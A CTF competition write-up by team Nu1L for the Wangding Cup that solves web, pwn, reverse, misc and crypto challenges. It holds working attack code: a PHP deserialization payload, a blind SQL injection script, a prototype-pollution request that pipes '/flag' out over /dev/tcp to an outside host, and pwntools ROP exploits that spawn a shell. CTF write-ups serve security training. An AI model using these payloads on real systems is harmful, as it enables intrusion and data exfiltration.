网鼎杯-青龙组WP

> Author:Nu1L

Web

AreUSerialz

bypass即可：
str=O%3A11%3A"FileHandler"%3A2%3A%7Bs%3A2%3A"op"%3Bs%3A17%3A"2.00e%2B00000000000"%3Bs%3A8%3A"filename"%3Bs%3A18%3A"%2Fweb%2Fhtml%2Fflag.php"%3B%7D

trace

能插入的数量有限，那么布尔盲注肯定不行了，报错跟时间盲注结合即可：

```
# -*- coding:utf8 -*-
import requests
import string
import datetime
import time

string = '0123456789abcdefghijklmnopqrstuvwxyzO123456789-:{}'
flag = ''
select = 'select concat(`1`,0x3a,`2`) from (select 1,2 union select * from flag)a limit 1,1'
url="http://3e1a55fa7c4f460fb8d88e766785d58f44ba3250aeb0456b.changame.ichunqiu.com/register_do.php"
for n in range(1,99):
    for i in string:
        time1 = datetime.datetime.now()
```

```
        payload="1'-if(substr(({}),{},1)='{}',concat(sleep(5),1-~0),1-~0)-
'".format(select, n, i)
        data = {
            'username': payload,
            'password': 'nu1lllllll'
        }
        req = requests.post(url,data=data,timeout=5)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec > 2:
            flag += i
            print(flag)
            break
```

notes

nodejs原型链污染:

```
POST /edit_note HTTP/1.1
Host:
ddd9447ec43848449c628ef60b3b3f4ed7b86cd7cd324e0e.changame.ichunqiu.com:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589075824;
__jsluid_h=faddad415e2e0149739390ca4232e3a7;
Hm_lvt_d7682ab43891c68a00de46e9ce5b76aa=1589094149;
Hm_lpvt_d7682ab43891c68a00de46e9ce5b76aa=1589094342;
Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1589094377
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

id=__proto__&author=cat  /flag>/dev/tcp/xxxxx/51003&raw=cat
/flag>/dev/tcp/xxxxx/51003



GET /status HTTP/1.1
Host:
ddd9447ec43848449c628ef60b3b3f4ed7b86cd7cd324e0e.changame.ichunqiu.com:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
```

```
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589075824;
__jsluid_h=faddad415e2e0149739390ca4232e3a7;
Hm_lvt_d7682ab43891c68a00de46e9ce5b76aa=1589094149;
Hm_lpvt_d7682ab43891c68a00de46e9ce5b76aa=1589094342;
Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1589094377
Connection: close
```

filejava

任意文件读反编译class，存在如下代码：

```
} else {
   filename = fileItem.getName();
   if(filename != null && !filename.trim().equals("")) {
      fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
      InputStream in = fileItem.getInputStream();
      if(filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
         try {
            Workbook saveFilename = WorkbookFactory.create(in);
            Sheet realSavePath = saveFilename.getSheetAt(0);
            System.out.println(realSavePath.getFirstRowNum());
         } catch (InvalidFormatException var20) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            var20.printStackTrace();
         }
      }

      String saveFilename1 = this.makeFileName(filename);
      request.setAttribute("saveFilename", saveFilename1);
```

然后根据文章xxe读flag就行：

https://www.dazhuanlan.com/2020/02/02/5e36a1acefeea/

Re

signal

```
d = [34, 63, 52, 50, 114, 51, 24, -89&0xff, 49, -15&0xff, 40, -124&0xff,
-63&0xff, 30, 122]
d[0] = chr((d[0] + 5) ^ 16)
d[1] = chr((d[1] / 3) ^ 32)
d[2] = chr(d[2] + 3)
d[3] = chr((d[3] ^ 4) - 1)
d[4] = chr((d[4] + 33) / 3)
d[5] = chr(d[5] + 2)
d[6] = chr((d[6] + 32) ^ 9)
d[7] = chr(((d[7] ^ 36) - 81))
d[8] =chr(d[8])
d[9] = chr(((d[9] - 37) / 2))
d[10] = chr((d[10] ^ 65) - 54)
d[11] = chr(d[11] - 32)
d[12] =chr((d[12] - 37) / 3)
d[13] =chr((d[13] + 32) ^ 9)
d[14] = chr(d[14] - 66)
print ''.join(d)
```

joker

```
a = "hahahaha_do_you_fin\x00\x00\x00\x00\x00";
b=
[14,13,9,6,19,5,88,86,62,6,12,60,31,87,20,107,87,89,13,0x25^0x47,0x74^0x47,0x70^
0x47,0x26^0x47,0x3a^0x47]
res = ''
for i in range(len(a)):
    res+=chr(ord(a[i])^b[i])

print res
```

bang

apk脱壳题，用https://github.com/lasting-yang/frida_dump的dump_dex试了试，成功脱出dex，用strings工具可以看到flag

Pwn

boom1

```
from pwn import *
#p = process('./pwn')
p = remote('182.92.73.10', 24573)
raw_input()
code = '''
int main(){char a;char* b;int *c;char *d;char *e;b = &a - 0x50bfd8-28*0x1000;c =
b+3958696;d = b+283536;e=b+1625431;c[0]=d;c[1]=(d>>32);free(e);}
'''

test =  '''
int main(){char a;char* b;int *c;char *d;char *e;b = &a - 0x50bfd8-
28*0x1000;printf("%s",b);}
'''
p.sendline(code)
#p.recvuntil('I\'m living...\n')

p.interactive()
```

boom2

```
from pwn import *

p =remote('182.92.73.10',36642)

p.recvuntil('code> ')

payload = p64(0)+p64(0xfffffffffffffffc)
payload += p64(9)
payload += p64(13)
payload += p64(1)+p64(0xe8)
payload += p64(6)+p64(0xffffffffffffffff)
payload += p64(26)
payload += p64(13)
```

```
payload += p64(13)
payload += p64(9)
payload += p64(13)
payload += p64(1)+p64(0xd0917)
payload += p64(6)+p64(0xffffffffffffffff)
payload += p64(25)
payload += p64(6)+p64(0xffffffffffffffff)
payload += p64(11)

p.send(payload)

p.interactive()
```

faster0

```
from pwn import *
#p = process('./pwn-56e9ca43f610bd7dbdb6a0cb630383ab')
p = remote('39.96.72.181',28500)
p.recvuntil('password')
p.sendline('8dda45d7-96aa-442f-8d53-5288d0658bc5')
p.sendline('6809301640048630653932512812375544306869075254251303300440501125026444222893626108916010734348409732')
p.recvuntil('WOW,U R GREAT !\n')
poprdi = 0x0000000000406013 #: pop rdi ; ret
poprsi = 0x0000000000406011 #: pop rsi ; pop r15 ; ret
rop = ''
rop+=p64(poprdi)
rop+=p64(1)
rop+=p64(poprsi)
rop+=p64(0x609018)
rop+=p64(0)
rop+=p64(0x400640)
rop+=p64(0x405ef7)
raw_input()
p.sendline('a'*0xd8+rop)
write_addr = u64(p.recv(8))
setbuf_addr = u64(p.recv(8))
print hex(write_addr)
print hex(setbuf_addr)
libc_base = write_addr - 0x111300
sys = libc_base+0x0554e0
sh = libc_base+1795603
p.send('\n')
rop2 = 'a'*0xd8
rop2+=p64(poprdi)
rop2+=p64(sh)
rop2+=p64(sys)
p.recvuntil('WOW,U R GREAT !\n')
p.sendline(rop2)
#p.sendline()

p.interactive()
```

Misc

签到

答完题输token时候看下network即可

Crypto

you raise me up

```
sage: F = IntegerModRing(2**512)
sage: m = F(391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075)
sage: c = F(6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499)
sage: x = discrete_log(c,m,operation='*')
sage: hex(x)
'0x666c61677b35663935636139332d313539342d373632642d656430622d6139313339363932636234617d'
```

boom

cmd5查个md5得到en5oy
然后解几个方程就行

```
In[2]:= Solve[{3*x - y + z == 185, 2*x + 3 y - z == 321,
  x + y + z == 173}, {x, y, z}]


Out[2]= {{x -> 74, y -> 68, z -> 31}}

In[3]:= Solve[x*x + x - 7943722218936282 == 0, x]

Out[3]= {{x -> -89127562}, {x -> 89127561}}
```